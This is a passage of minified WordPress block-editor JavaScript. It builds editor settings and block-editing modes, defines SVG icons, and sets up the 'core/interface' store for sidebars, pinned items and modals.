e=(0,c.useSelect)((e=&gt;e(d.store).__experimentalGetCurrentThemeBaseGlobalStyles()),[]);return[!!e,e]}(),i=(0,u.useMemo)((()=&gt;n&amp;&amp;t?$r(n,t):{}),[t,n]);return(0,u.useMemo)((()=&gt;({isReady:e&amp;&amp;o,user:t,base:n,merged:i,setUserConfig:s})),[i,t,n,s,e,o])}const Zr={};function Yr(e){const{RECEIVE_INTERMEDIATE_RESULTS:t}=$(d.privateApis),{getEntityRecords:s}=e(d.store);return s(&quot;postType&quot;,&quot;wp_block&quot;,{per_page:-1,[t]:!0})}const Kr=[&quot;__experimentalBlockDirectory&quot;,&quot;__experimentalDiscussionSettings&quot;,&quot;__experimentalFeatures&quot;,&quot;__experimentalGlobalStylesBaseStyles&quot;,&quot;alignWide&quot;,&quot;blockInspectorTabs&quot;,&quot;maxUploadFileSize&quot;,&quot;allowedMimeTypes&quot;,&quot;bodyPlaceholder&quot;,&quot;canLockBlocks&quot;,&quot;canUpdateBlockBindings&quot;,&quot;capabilities&quot;,&quot;clearBlockSelection&quot;,&quot;codeEditingEnabled&quot;,&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;disableCustomFontSizes&quot;,&quot;disableCustomSpacingSizes&quot;,&quot;disableCustomGradients&quot;,&quot;disableLayoutStyles&quot;,&quot;enableCustomLineHeight&quot;,&quot;enableCustomSpacing&quot;,&quot;enableCustomUnits&quot;,&quot;enableOpenverseMediaCategory&quot;,&quot;fontSizes&quot;,&quot;gradients&quot;,&quot;generateAnchors&quot;,&quot;onNavigateToEntityRecord&quot;,&quot;imageDefaultSize&quot;,&quot;imageDimensions&quot;,&quot;imageEditing&quot;,&quot;imageSizes&quot;,&quot;isPreviewMode&quot;,&quot;isRTL&quot;,&quot;locale&quot;,&quot;maxWidth&quot;,&quot;postContentAttributes&quot;,&quot;postsPerPage&quot;,&quot;readOnly&quot;,&quot;styles&quot;,&quot;titlePlaceholder&quot;,&quot;supportsLayout&quot;,&quot;widgetTypesToHideFromLegacyWidgetBlock&quot;,&quot;__unstableHasCustomAppender&quot;,&quot;__unstableResolvedAssets&quot;,&quot;__unstableIsBlockBasedTheme&quot;],{globalStylesDataKey:qr,globalStylesLinksDataKey:Qr,selectBlockPatternsKey:Xr,reusableBlocksSelectKey:Jr,sectionRootClientIdKey:ea}=$(h.privateApis);const ta=function(e,t,s,o){var n,i,r,a;const l=(0,p.useViewportMatch)(&quot;medium&quot;),{allowRightClickOverrides:m,blockTypes:g,focusMode:_,hasFixedToolbar:f,isDistractionFree:b,keepCaretInsideBlock:x,hasUploadPermissions:v,hiddenBlockTypes:S,canUseUnfilteredHTML:w,userCanCreatePages:C,pageOnFront:P,pageForPosts:j,userPatternCategories:E,restBlockPatternCategories:T,sectionRootClientId:B}=(0,c.useSelect)((e=&gt;{var n;const{canUser:i,getRawEntityRecord:r,getEntityRecord:a,getUserPatternCategories:c,getBlockPatternCategories:u}=e(d.store),{get:p}=e(k.store),{getBlockTypes:m}=e(y.store),{getBlocksByName:g,getBlockAttributes:_}=e(h.store),f=i(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?a(&quot;root&quot;,&quot;site&quot;):void 0;return{allowRightClickOverrides:p(&quot;core&quot;,&quot;allowRightClickOverrides&quot;),blockTypes:m(),canUseUnfilteredHTML:r(&quot;postType&quot;,t,s)?._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;),focusMode:p(&quot;core&quot;,&quot;focusMode&quot;),hasFixedToolbar:p(&quot;core&quot;,&quot;fixedToolbar&quot;)||!l,hiddenBlockTypes:p(&quot;core&quot;,&quot;hiddenBlockTypes&quot;),isDistractionFree:p(&quot;core&quot;,&quot;distractionFree&quot;),keepCaretInsideBlock:p(&quot;core&quot;,&quot;keepCaretInsideBlock&quot;),hasUploadPermissions:null===(n=i(&quot;create&quot;,{kind:&quot;root&quot;,name:&quot;media&quot;}))||void 0===n||n,userCanCreatePages:i(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;page&quot;}),pageOnFront:f?.page_on_front,pageForPosts:f?.page_for_posts,userPatternCategories:c(),restBlockPatternCategories:u(),sectionRootClientId:&quot;template-locked&quot;===o?null!==(x=g(&quot;core/post-content&quot;)?.[0])&amp;&amp;void 0!==x?x:&quot;&quot;:null!==(b=g(&quot;core/group&quot;).find((e=&gt;&quot;main&quot;===_(e)?.tagName)))&amp;&amp;void 0!==b?b:&quot;&quot;};var b,x}),[t,s,l,o]),{merged:I}=Wr(),N=null!==(n=I.styles)&amp;&amp;void 0!==n?n:Zr,D=null!==(i=I._links)&amp;&amp;void 0!==i?i:Zr,A=null!==(r=e.__experimentalAdditionalBlockPatterns)&amp;&amp;void 0!==r?r:e.__experimentalBlockPatterns,R=null!==(a=e.__experimentalAdditionalBlockPatternCategories)&amp;&amp;void 0!==a?a:e.__experimentalBlockPatternCategories,M=(0,u.useMemo)((()=&gt;[...A||[]].filter((({postTypes:e})=&gt;!e||Array.isArray(e)&amp;&amp;e.includes(t)))),[A,t]),L=(0,u.useMemo)((()=&gt;[...R||[],...T||[]].filter(((e,t,s)=&gt;t===s.findIndex((t=&gt;e.name===t.name))))),[R,T]),{undo:O,setIsInserterOpened:F}=(0,c.useDispatch)(Ac),{saveEntityRecord:V}=(0,c.useDispatch)(d.store),z=(0,u.useCallback)((e=&gt;C?V(&quot;postType&quot;,&quot;page&quot;,e):Promise.reject({message:(0,fs.__)(&quot;You do not have permission to create Pages.&quot;)})),[V,C]),U=(0,u.useMemo)((()=&gt;{if(S&amp;&amp;S.length&gt;0){return(!0===e.allowedBlockTypes?g.map((({name:e})=&gt;e)):e.allowedBlockTypes||[]).filter((e=&gt;!S.includes(e)))}return e.allowedBlockTypes}),[e.allowedBlockTypes,S,g]),H=!1===e.focusMode;return(0,u.useMemo)((()=&gt;{const s={...Object.fromEntries(Object.entries(e).filter((([e])=&gt;Kr.includes(e)))),[qr]:N,[Qr]:D,allowedBlockTypes:U,allowRightClickOverrides:m,focusMode:_&amp;&amp;!H,hasFixedToolbar:f,isDistractionFree:b,keepCaretInsideBlock:x,mediaUpload:v?Mr:void 0,mediaSideload:v?Or:void 0,__experimentalBlockPatterns:M,[Xr]:e=&gt;{const{hasFinishedResolution:s,getBlockPatternsForPostType:o}=$(e(d.store)),n=o(t);return s(&quot;getBlockPatterns&quot;)?n:void 0},[Jr]:Yr,__experimentalBlockPatternCategories:L,__experimentalUserPatternCategories:E,__experimentalFetchLinkSuggestions:(t,s)=&gt;(0,d.__experimentalFetchLinkSuggestions)(t,s,e),inserterMediaCategories:jr,__experimentalFetchRichUrlData:d.__experimentalFetchUrlData,__experimentalCanUserUseUnfilteredHTML:w,__experimentalUndo:O,outlineMode:!b&amp;&amp;&quot;wp_template&quot;===t,__experimentalCreatePageEntity:z,__experimentalUserCanCreatePages:C,pageOnFront:P,pageForPosts:j,__experimentalPreferPatternsOnRoot:&quot;wp_template&quot;===t,templateLock:&quot;wp_navigation&quot;===t?&quot;insert&quot;:e.templateLock,template:&quot;wp_navigation&quot;===t?[[&quot;core/navigation&quot;,{},[]]]:e.template,__experimentalSetIsInserterOpened:F,[ea]:B,editorTool:&quot;post-only&quot;===o&amp;&amp;&quot;wp_template&quot;!==t?&quot;edit&quot;:void 0};return s}),[U,m,_,H,f,b,x,e,v,E,M,L,w,O,z,C,P,j,t,F,B,N,D,o])},sa=[&quot;core/post-title&quot;,&quot;core/post-featured-image&quot;,&quot;core/post-content&quot;];function oa(){const e=(0,u.useMemo)((()=&gt;[...(0,m.applyFilters)(&quot;editor.postContentBlockTypes&quot;,sa)]),[]),t=(0,c.useSelect)((t=&gt;{const{getPostBlocksByName:s}=$(t(Ac));return s(e)}),[e]);return t}function na(){const e=oa(),{templateParts:t,isNavigationMode:s}=(0,c.useSelect)((e=&gt;{const{getBlocksByName:t,isNavigationMode:s}=e(h.store);return{templateParts:t(&quot;core/template-part&quot;),isNavigationMode:s()}}),[]),o=(0,c.useSelect)((e=&gt;{const{getBlockOrder:s}=e(h.store);return t.flatMap((e=&gt;s(e)))}),[t]),n=(0,c.useRegistry)();return(0,u.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(h.store);return e(&quot;&quot;,&quot;disabled&quot;),()=&gt;{t(&quot;&quot;)}}),[n]),(0,u.useEffect)((()=&gt;{const{setBlockEditingMode:t,unsetBlockEditingMode:s}=n.dispatch(h.store);return n.batch((()=&gt;{for(const s of e)t(s,&quot;contentOnly&quot;)})),()=&gt;{n.batch((()=&gt;{for(const t of e)s(t)}))}}),[e,n]),(0,u.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:o}=n.dispatch(h.store);return n.batch((()=&gt;{if(!s)for(const s of t)e(s,&quot;contentOnly&quot;)})),()=&gt;{n.batch((()=&gt;{if(!s)for(const e of t)o(e)}))}}),[t,s,n]),(0,u.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(h.store);return n.batch((()=&gt;{for(const t of o)e(t,&quot;disabled&quot;)})),()=&gt;{n.batch((()=&gt;{for(const e of o)t(e)}))}}),[o,n]),null}function ia(){const e=(0,c.useSelect)((e=&gt;e(h.store).getBlockOrder()?.[0]),[]),{setBlockEditingMode:t,unsetBlockEditingMode:s}=(0,c.useDispatch)(h.store);(0,u.useEffect)((()=&gt;{if(e)return t(e,&quot;contentOnly&quot;),()=&gt;{s(e)}}),[e,s,t])}const ra=[&quot;wp_block&quot;,&quot;wp_template&quot;,&quot;wp_template_part&quot;];const aa=(0,L.jsxs)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,L.jsx)(M.Path,{d:&quot;m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z&quot;}),(0,L.jsx)(M.Path,{d:&quot;m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z&quot;})]}),la=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z&quot;})}),ca=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z&quot;})}),da=(0,L.jsx)(M.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z&quot;})}),ua=(0,L.jsx)(M.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z&quot;})}),pa=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot;})}),ma=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot;})}),ha=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot;})}),ga=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})}),_a=(0,L.jsxs)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,L.jsx)(M.Path,{d:&quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot;}),(0,L.jsx)(M.Path,{d:&quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot;})]}),fa=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z&quot;})}),ba=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z&quot;})}),ya=window.wp.commands,xa=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z&quot;})}),va=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z&quot;,clipRule:&quot;evenodd&quot;})}),Sa=window.wp.viewport,wa=window.wp.plugins;function ka(e){return[&quot;core/edit-post&quot;,&quot;core/edit-site&quot;].includes(e)?(w()(`${e} interface scope`,{alternative:&quot;core interface scope&quot;,hint:&quot;core/edit-post and core/edit-site are merging.&quot;,version:&quot;6.6&quot;}),&quot;core&quot;):e}function Ca(e,t){return&quot;core&quot;===e&amp;&amp;&quot;edit-site/template&quot;===t?(w()(&quot;edit-site/template sidebar&quot;,{alternative:&quot;edit-post/document&quot;,version:&quot;6.6&quot;}),&quot;edit-post/document&quot;):&quot;core&quot;===e&amp;&amp;&quot;edit-site/block-inspector&quot;===t?(w()(&quot;edit-site/block-inspector sidebar&quot;,{alternative:&quot;edit-post/block&quot;,version:&quot;6.6&quot;}),&quot;edit-post/block&quot;):t}const Pa=(e,t)=&gt;({type:&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;,scope:e=ka(e),area:t=Ca(e,t)}),ja=(e,t)=&gt;({registry:s,dispatch:o})=&gt;{if(!t)return;e=ka(e),t=Ca(e,t);s.select(k.store).get(e,&quot;isComplementaryAreaVisible&quot;)||s.dispatch(k.store).set(e,&quot;isComplementaryAreaVisible&quot;,!0),o({type:&quot;ENABLE_COMPLEMENTARY_AREA&quot;,scope:e,area:t})},Ea=e=&gt;({registry:t})=&gt;{e=ka(e);t.select(k.store).get(e,&quot;isComplementaryAreaVisible&quot;)&amp;&amp;t.dispatch(k.store).set(e,&quot;isComplementaryAreaVisible&quot;,!1)},Ta=(e,t)=&gt;({registry:s})=&gt;{if(!t)return;e=ka(e),t=Ca(e,t);const o=s.select(k.store).get(e,&quot;pinnedItems&quot;);!0!==o?.[t]&amp;&amp;s.dispatch(k.store).set(e,&quot;pinnedItems&quot;,{...o,[t]:!0})},Ba=(e,t)=&gt;({registry:s})=&gt;{if(!t)return;e=ka(e),t=Ca(e,t);const o=s.select(k.store).get(e,&quot;pinnedItems&quot;);s.dispatch(k.store).set(e,&quot;pinnedItems&quot;,{...o,[t]:!1})};function Ia(e,t){return function({registry:s}){w()(&quot;dispatch( &#039;core/interface&#039; ).toggleFeature&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).toggle&quot;}),s.dispatch(k.store).toggle(e,t)}}function Na(e,t,s){return function({registry:o}){w()(&quot;dispatch( &#039;core/interface&#039; ).setFeatureValue&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).set&quot;}),o.dispatch(k.store).set(e,t,!!s)}}function Da(e,t){return function({registry:s}){w()(&quot;dispatch( &#039;core/interface&#039; ).setFeatureDefaults&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).setDefaults&quot;}),s.dispatch(k.store).setDefaults(e,t)}}function Aa(e){return{type:&quot;OPEN_MODAL&quot;,name:e}}function Ra(){return{type:&quot;CLOSE_MODAL&quot;}}const Ma=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{s=ka(s);const o=e(k.store).get(s,&quot;isComplementaryAreaVisible&quot;);if(void 0!==o)return!1===o?null:t?.complementaryAreas?.[s]})),La=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{s=ka(s);const o=e(k.store).get(s,&quot;isComplementaryAreaVisible&quot;),n=t?.complementaryAreas?.[s];return o&amp;&amp;void 0===n})),Oa=(0,c.createRegistrySelector)((e=&gt;(t,s,o)=&gt;{var n;o=Ca(s=ka(s),o);const i=e(k.store).get(s,&quot;pinnedItems&quot;);return null===(n=i?.[o])||void 0===n||n})),Fa=(0,c.createRegistrySelector)((e=&gt;(t,s,o)=&gt;(w()(&quot;select( &#039;core/interface&#039; ).isFeatureActive( scope, featureName )&quot;,{since:&quot;6.0&quot;,alternative:&quot;select( &#039;core/preferences&#039; ).get( scope, featureName )&quot;}),!!e(k.store).get(s,o))));function Va(e,t){return e.activeModal===t}const za=(0,c.combineReducers)({complementaryAreas:function(e={},t){switch(t.type){case&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;:{const{scope:s,area:o}=t;return e[s]?e:{...e,[s]:o}}case&quot;ENABLE_COMPLEMENTARY_AREA&quot;:{const{scope:s,area:o}=t;return{...e,[s]:o}}}return e},activeModal:function(e=null,t){switch(t.type){case&quot;OPEN_MODAL&quot;:return t.name;case&quot;CLOSE_MODAL&quot;:return null}return e}}),Ua=(0,c.createReduxStore)(&quot;core/interface&quot;,{reducer:za,actions:n,selectors:i});function Ha({as:e=Uo.Button,scope:t,identifier:s,icon:o,selectedIcon:n,name:i,shortcut:r,...a}){const l=e,d=(0,wa.usePluginContext)(),u=o||d.icon,p=s||`${d.name}/${i}`,m=(0,c.useSelect)((e=&gt;e(Ua).getActiveComplementaryArea(t)===p),[p,t]),{enableComplementaryArea:h,disableComplementaryArea:g}=(0,c.useDispatch)(Ua);return(0,L.jsx)(l,{icon:n&amp;&amp;m?n:u,&quot;aria-controls&quot;:p.replace(&quot;/&quot;,&quot;:&quot;),&quot;aria-checked&quot;:(_=a.role,[&quot;checkbox&quot;,&quot;option&quot;,&quot;radio&quot;,&quot;switch&quot;,&quot;menuitemcheckbox&quot;,&quot;menuitemradio&quot;,&quot;treeitem&quot;].includes(_)?m:void 0),onClick:()=&gt;{m?g(t):h(t,p)},shortcut:r,...a});var _}(0,c.register)(Ua);const Ga=({children:e,className:t,toggleButtonProps:s})=&gt;{const o=(0,L.jsx)(Ha,{icon:Bn,...s});return(0,L.jsxs)(&quot;div&quot;,{className:Di(&quot;components-panel__header&quot;,&quot;interface-complementary-area-header&quot;,t),tabIndex:-1,children:[e,o]})},$a=()=&gt;{};function Wa({name:e,as:t=Uo.Button,onClick:s,...o}){return(0,L.jsx)(Uo.Fill,{name:e,children:({onClick:e})=&gt;(0,L.jsx)(t,{onClick:s||e?(...t)=&gt;{(s||$a)(...t),(e||$a)(...t)}:void 0,...o})})}Wa.Slot=function({name:e,as:t=Uo.MenuGroup,fillProps:s={},bubblesVirtually:o,...n}){return(0,L.jsx)(Uo.Slot,{name:e,bubblesVirtually:o,fillProps:s,children:e=&gt;{if(!u.Children.toArray(e).length)return null;const s=[];u.Children.forEach(e,(({props:{__unstableExplicitMenuItem:e,__unstableTarget:t}})=&gt;{t&amp;&amp;e&amp;&amp;s.push(t)}));const o=u.Children.map(e,(e=&gt;!e.props.__unstableExplicitMenuItem&amp;&amp;s.includes(e.props.__unstableTarget)?null:e));return(0,L.jsx)(t,{...n,children:o})}})};const Za=Wa,Ya=({__unstableExplicitMenuItem:e,__unstableTarget:t,...s})=&gt;(0,L.jsx)(Uo.MenuItem,{...s});function Ka({scope:e,target:t,__unstableExplicitMenuItem:s,...o}){return(0,L.jsx)(Ha,{as:o=&gt;(0,L.jsx)(Za,{__unstableExplicitMenuItem:s,__unstableTarget:`${e}/${t}`,as:Ya,name:`${e}/plugin-more-menu`,...o}),role:&quot;menuitemcheckbox&quot;,selectedIcon:Ho,name:t,scope:e,...o})}function qa({scope:e,...t}){return(0,L.jsx)(Uo.Fill,{name:`PinnedItems/${e}`,...t})}qa.Slot=function({scope:e,className:t,...s}){return(0,L.jsx)(Uo.Slot,{name:`PinnedItems/${e}`,...s,children:e=&gt;e?.length&gt;0&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:Di(t,&quot;interface-pinned-items&quot;),children:e})})};const Qa=qa;const Xa={open:{width:280},closed:{width:0},mobileOpen:{width:&quot;100vw&quot;}};function Ja({activeArea:e,isActive:t,scope:s,children:o,className:n,id:i}){const r=(0,p.useReducedMotion)(),a=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=(0,p.usePrevious)(e),c=(0,p.usePrevious)(t),[,d]=(0,u.useState)({});(0,u.useEffect)((()=&gt;{d({})}),[t]);const m={type:&quot;tween&quot;,duration:r||a||l&amp;&amp;e&amp;&amp;e!==l?0:.3,ease:[.6,0,.4,1]};return(0,L.jsx)(Uo.Fill,{name:`ComplementaryArea/${s}`,children:(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:(c||t)&amp;&amp;(0,L.jsx)(Uo.__unstableMotion.div,{variants:Xa,initial:&quot;closed&quot;,animate:a?&quot;mobileOpen&quot;:&quot;open&quot;,exit:&quot;closed&quot;,transition:m,className:&quot;interface-complementary-area__fill&quot;,children:(0,L.jsx)(&quot;div&quot;,{id:i,className:n,style:{width:a?&quot;100vw&quot;:280},children:o})})})})}function el({children:e,className:t,closeLabel:s=(0,fs.__)(&quot;Close plugin&quot;),identifier:o,header:n,headerClassName:i,icon:r,isPinnable:a=!0,panelClassName:l,scope:d,name:m,title:h,toggleShortcut:g,isActiveByDefault:_}){const f=(0,wa.usePluginContext)(),b=r||f.icon,y=o||`${f.name}/${m}`,[x,v]=(0,u.useState)(!1),{isLoading:S,isActive:w,isPinned:C,activeArea:P,isSmall:j,isLarge:E,showIconLabels:T}=(0,c.useSelect)((e=&gt;{const{getActiveComplementaryArea:t,isComplementaryAreaLoading:s,isItemPinned:o}=e(Ua),{get:n}=e(k.store),i=t(d);return{isLoading:s(d),isActive:i===y,isPinned:o(d,y),activeArea:i,isSmall:e(Sa.store).isViewportMatch(&quot;&lt; medium&quot;),isLarge:e(Sa.store).isViewportMatch(&quot;large&quot;),showIconLabels:n(&quot;core&quot;,&quot;showIconLabels&quot;)}}),[y,d]),B=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);!function(e,t,s,o,n){const i=(0,u.useRef)(!1),r=(0,u.useRef)(!1),{enableComplementaryArea:a,disableComplementaryArea:l}=(0,c.useDispatch)(Ua);(0,u.useEffect)((()=&gt;{o&amp;&amp;n&amp;&amp;!i.current?(l(e),r.current=!0):r.current&amp;&amp;!n&amp;&amp;i.current?(r.current=!1,a(e,t)):r.current&amp;&amp;s&amp;&amp;s!==t&amp;&amp;(r.current=!1),n!==i.current&amp;&amp;(i.current=n)}),[o,n,e,t,s,l,a])}(d,y,P,w,j);const{enableComplementaryArea:I,disableComplementaryArea:N,pinItem:D,unpinItem:A}=(0,c.useDispatch)(Ua);if((0,u.useEffect)((()=&gt;{_&amp;&amp;void 0===P&amp;&amp;!j?I(d,y):void 0===P&amp;&amp;j&amp;&amp;N(d,y),v(!0)}),[P,_,d,y,j,I,N]),x)return(0,L.jsxs)(L.Fragment,{children:[a&amp;&amp;(0,L.jsx)(Qa,{scope:d,children:C&amp;&amp;(0,L.jsx)(Ha,{scope:d,identifier:y,isPressed:w&amp;&amp;(!T||E),&quot;aria-expanded&quot;:w,&quot;aria-disabled&quot;:S,label:h,icon:T?Ho:b,showTooltip:!T,variant:T?&quot;tertiary&quot;:void 